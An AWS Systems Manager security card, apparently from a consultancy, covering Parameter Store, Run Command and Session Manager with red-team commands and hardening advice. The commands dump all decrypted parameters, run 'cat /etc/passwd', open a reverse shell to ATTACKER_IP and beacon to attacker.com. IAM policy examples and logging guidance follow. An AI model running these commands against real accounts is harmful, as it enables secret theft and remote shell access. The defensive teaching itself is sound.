Systems Manager (SSM) provides operational management for EC2 and on-premises servers. Parameter Store holds secrets, Run Command enables remote execution, Session Manager provides shell access.
Hierarchical storage for configuration and secrets. Supports SecureString (KMS encrypted), String, and StringList types. Often contains database passwords, API keys, certificates.
Execute commands on managed instances without SSH. Uses SSM Agent. Can run shell scripts, PowerShell, Python. Perfect for lateral movement and remote code execution.
Interactive shell access to instances without SSH keys or bastion hosts. Sessions logged to S3/CloudWatch. No inbound ports required - uses HTTPS.
SSM provides remote code execution, secret storage, and shell access. Compromising SSM permissions often leads to full instance compromise and lateral movement across the fleet.
aws ssm describe-parametersaws ssm get-parameter --name /app/db/password --with-decryptionaws ssm get-parameters-by-path --path /app/ --recursive --with-decryptionaws ssm describe-instance-informationaws ssm list-documents --document-filter-list key=Owner,value=SelfRed Team: Run Command is often the fastest path to RCE once you have ssm:SendCommand permission.
aws ssm get-parameters-by-path \
--path "/" \
--recursive \
--with-decryption \
--query 'Parameters[*].[Name,Value]' \
--output tableaws ssm send-command \
--instance-ids i-1234567890abcdef0 \
--document-name "AWS-RunShellScript" \
--parameters 'commands=["whoami","id","cat /etc/passwd"]'aws ssm send-command \
--instance-ids i-1234567890abcdef0 \
--document-name "AWS-RunShellScript" \
--parameters 'commands=["bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"]'aws ssm start-session --target i-1234567890abcdef0aws ssm send-command \
--targets "Key=tag:Environment,Values=Production" \
--document-name "AWS-RunShellScript" \
--parameters 'commands=["curl http://attacker.com/beacon"]'aws ssm start-session \
--target i-1234567890abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters '{"portNumber":["3389"],"localPortNumber":["13389"]}'{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": "ssm:*",
"Resource": "*"
}]
}Allows reading all secrets, executing commands on any instance, and full management
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": ["ssm:GetParameter", "ssm:GetParameters"],
"Resource": "arn:aws:ssm:*:*:parameter/app/myapp/*",
"Condition": {
"StringEquals": {
"aws:ResourceTag/team": "myteam"
}
}
}]
}Only allows access to parameters under specific path with tag restriction
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": "ssm:SendCommand",
"Resource": "*"
}]
}Can execute commands on ANY managed instance - critical RCE risk
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": "ssm:SendCommand",
"Resource": [
"arn:aws:ec2:*:*:instance/*",
"arn:aws:ssm:*::document/AWS-RunShellScript"
],
"Condition": {
"StringEquals": {
"ssm:resourceTag/Environment": "Development"
}
}
}]
}Restricts command execution to Dev instances only
Always encrypt sensitive parameters with KMS SecureString type.
aws ssm put-parameter \
--name "/app/db/password" \
--value "secret123" \
--type SecureString \
--key-id alias/my-keyLog all sessions to S3 and CloudWatch for audit trail.
# In Session Manager preferences
{
"s3BucketName": "session-logs",
"cloudWatchLogGroupName": "/aws/ssm/sessions"
}Restrict SendCommand and StartSession to specific instance tags.
Use hierarchical parameter paths and grant access to specific paths only.
Restrict which SSM documents can be used for commands.
"Condition": {
"StringEquals": {
"ssm:DocumentName": [
"AWS-RunPatchBaseline",
"Custom-ApprovedScript"
]
}
}Require manual approval for sensitive command execution via Automation.
AWS Systems Manager Security Card • Toc Consulting
Always obtain proper authorization before testing